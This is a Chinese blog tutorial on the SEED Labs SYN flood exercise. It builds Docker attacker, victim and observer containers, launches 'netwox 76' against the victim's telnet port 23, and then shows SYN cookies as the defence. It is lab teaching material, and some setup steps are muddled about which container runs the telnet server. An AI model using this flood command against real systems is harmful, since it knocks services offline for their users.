docker模拟Dos_SYN Flood拒绝服务攻击 (Ubuntu20.04)

目录

[✅ 一、实验环境准备(3 个终端)](#✅ 一、实验环境准备(3 个终端))

[👉 所以最终推荐做法:](#👉 所以最终推荐做法:)

[2️⃣ 配置 seed-attacker 为攻击者,开启 telnet 服务:](#2️⃣ 配置 seed-attacker 为攻击者,开启 telnet 服务:)

[3️⃣ 配置 victim-10.9.0.5 为受害者服务器,开启 telnet 客户端并监听:](#3️⃣ 配置 victim-10.9.0.5 为受害者服务器,开启 telnet 客户端并监听:)

[4️⃣ user1 作为观察用户,连接 victim-10.9.0.5 服务器:](#4️⃣ user1 作为观察用户,连接 victim-10.9.0.5 服务器:)

[5️⃣ 使用 netwox 工具对 victim-10.9.0.5 进行拒绝服务攻击:](#5️⃣ 使用 netwox 工具对 victim-10.9.0.5 进行拒绝服务攻击:)

完整流程总结:


✅ 一、实验环境准备(3 个终端)

第一个终端:docker 容器(作为攻击者)//这里是使用了docker

第二个终端:docker 容器(作为 server / 被攻击者)

第三个终端:docker 容器(作为 user / 观察者)

✅ 正确的实验结构:

👉 具体做法:

1,VM,

2,SEED_Ubuntu20.04

3. Labsetup.zip

下载Labsetup.zip并解压

解压Labsetup.zip

进入Labsetup目录打开终端构建容器

防止构建新容器冲突先把以前下载旧的容器关掉小技巧(以后你每次可以这么操作):

执行:

java 复制代码
docker-compose down --remove-orphans
docker container prune -f
docker network prune -f
docker-compose up --build -d

docker ps再次查看当前运行的容器

使用如下命令创建并开启一个新容器(会立即进入新的交互界面)

docker run -it --name=user --privileged 镜像名称 /bin/bash

如果你想删掉容器

cs 复制代码
docker stop user user1 #停两个容器user user1
docker rm user user1 #删两个容器user user1
docker ps -a #查看所有容器
docker ps #查看运行容器

以最高权限进入容器 user1-10.9.0.6

1️⃣ 获取最高权限进入 seed-attacker, victim-10.9.0.5, 和 user1 终端:

在每个终端上,你可以使用 docker exec 命令来进入并获取最高权限。使用以下命令:

cs 复制代码
docker exec -it --privileged seed-attacker /bin/bash
docker exec -it --privileged victim-10.9.0.5 /bin/bash
docker exec -it --privileged user1-10.9.0.6 /bin/bash

2️⃣ 配置 seed-attacker 为攻击者,开启 telnet 服务:

进入 seed-attacker 容器后,使用以下命令安装并启动 telnet 服务:

cpp 复制代码
# 更新系统
apt update && apt upgrade -y

# 安装 telnet
apt install telnetd -y

# 启动 telnet 服务
service telnetd start

# 查看 telnet 服务是否在运行
ps aux | grep telnet

此时,seed-attacker 将成为攻击者。

3️⃣ 配置 victim-10.9.0.5 为受害者服务器,开启 telnet 客户端并监听:

进入 victim-10.9.0.5 容器后,执行以下命令来启动 telnet 客户端并监听:

cs 复制代码
# 更新系统
apt update && apt upgrade -y

# 安装 telnet 客户端
apt install telnet -y

# 启动 telnet 服务监听 23 端口
telnetd -debug -l /bin/login //usr/sbin/in.telnetd -debug 23


# 查看 telnet 服务状态
ps aux | grep telnet

# 检查23端口是否在监听
netstat -tuln | grep :23

确保 telnet 服务已经在 23 端口运行。

4️⃣ user1 作为观察用户,连接 victim-10.9.0.5 服务器:

进入 user1-10.9.0.6 容器后,执行以下命令连接到 victim-10.9.0.5

cs 复制代码
# 使用 telnet 连接到 victim 服务器(假设 IP 为 10.9.0.5)
telnet 10.9.0.5

用户退出tlenet

5️⃣ 使用 netwox 工具对 victim-10.9.0.5 进行拒绝服务攻击:

seed-attacker 容器中,使用 netwox 工具进行拒绝服务攻击,命令如下:

cs 复制代码
# 安装 netwox(如果未安装)
apt update && apt install netwox -y

# 使用 netwox 工具对 victim 进行拒绝服务攻击
netwox 76 -i 10.9.0.5 -p 23

这会利用 netwox 76 发起针对 victim-10.9.0.5 服务器的 DoS 攻击,攻击目标是 telnet 服务(端口 23)。攻击成功后,victim-10.9.0.5 将无法接受新的连接。

👉观察

发起攻击后,用户再次tlenet 服务端

好了,已经无法服务

抓包看流量,流量瞬间登顶!

关闭攻击流量下降

👉完整流程总结:

  1. 进入所有三个终端并获取 --privileged 权限。
  2. seed-attacker 上启动 telnet 服务,作为攻击者。
  3. victim-10.9.0.5 上启动 telnet 客户端并监听,作为受害者。
  4. user1-10.9.0.6 上连接到 victim-10.9.0.5 以观察。
  5. 使用 netwox 工具从 seed-attacker 发起拒绝服务攻击。

👉SYN-Flooding 防御

首先,你需要登录到 victim-10.9.0.5 这个机器,然后检查当前系统是否启用了 SYN Cookie 机制。你可以使用以下命令:

cs 复制代码
sysctl -a | grep cookie

这将显示系统是否有关于 SYN Cookie 的设置。如果没有输出,说明默认设置没有显示 SYN Cookie。

为了防止 SYN Flooding 攻击,首先需要开启 SYN Cookie。通过以下命令启用 SYN Cookie :

cs 复制代码
sysctl net.ipv4.tcp_syncookies=1

这将开启 SYN Cookie 机制,用于防御 SYN Flooding 攻击。

启用 SYN Cookie 后,你可以再次运行以下命令,验证它是否生效:

cs 复制代码
sysctl -a | grep cookie

如果设置正确,应该能看到 net.ipv4.tcp_syncookies = 1

4. 再次发起 SYN Flooding 攻击

在另外一个容器( seed-attacker)上,再次使用 netwox 工具发起 SYN Flooding 攻击:

cs 复制代码
netwox 76 -i victim-ip -p 23

这里,victim-ipvictim-10.9.0.5 的 IP 地址,-p 23 表示攻击目标是 23 端口。

5. 监控结果

  • 启用 SYN Cookie 后 ,攻击应该被有效防御,victim-10.9.0.5 仍然能够正常响应其他连接请求,因为 SYN Cookie 会防止 SYN 请求消耗过多资源。
  • 关闭 SYN Cookie 后 (通过执行 sysctl net.ipv4.tcp_syncookies=0),victim-10.9.0.5 将暴露于攻击之下,容易受到 SYN Flooding 攻击,可能导致服务崩溃或者无法响应。

如果你希望测试没有启用 SYN Cookie 时的情况,可以禁用 SYN Cookie:

cs 复制代码
sysctl net.ipv4.tcp_syncookies=0

然后,重新发起攻击,你会看到服务器无法承受大量的 SYN 请求,导致服务不可用。

7. 总结

  • SYN Cookie 原理:SYN Cookie 是一种让服务器不立即分配资源,而是在验证客户端请求是否合法时才分配资源的方法。这样可以防止攻击者占用过多的资源,从而有效缓解 SYN Flooding 攻击。
  • 启用 SYN Cookie 的效果:启用后,攻击者无法成功完成连接建立,服务器依然能保持正常工作。

通过启用 SYN Cookie,victim-10.9.0.5 就能够有效防止 SYN Flooding 攻击,保持其稳定性。

👉实验原理

其实很简单,就是我(攻击者)用工具在1s种内想web服务器发起几十万上百万个请求,网站服务器资源没有被释放一直被不断的占用占用,我占用完了,导致别人请求网站的时候没资源用了被服务器拒绝服务。这是就是所谓的dos攻击。

细一个的话,三次握手的过程,自己去看。

相关推荐
冬冬小圆帽2 小时前
网络安全威胁与防护措施(下)
网络·web安全·php
予安灵4 小时前
《白帽子讲 Web 安全》之开发语言安全深度解读
android·web安全·网络安全·系统安全·开发语言安全·语言安全
Roun37 小时前
Web3与网络安全:如何确保去中心化应用的安全性
web安全·web3·去中心化·instagram·指纹浏览器·clonbrowser
mingzhi6113 小时前
绿盟面试题
安全·web安全·网络安全·绿盟科技
不羁。。14 小时前
【操作系统安全】任务3:Linux 网络安全实战命令手册
linux·安全·web安全
神经毒素14 小时前
WEB安全--SQL注入--DNSlog外带
安全·web安全
蒜白16 小时前
10-- 网络攻击防御原理全景解析 | 从单包攻防到DDoS军团作战(包你看一遍全记住)
网络安全·网络工程师·ddos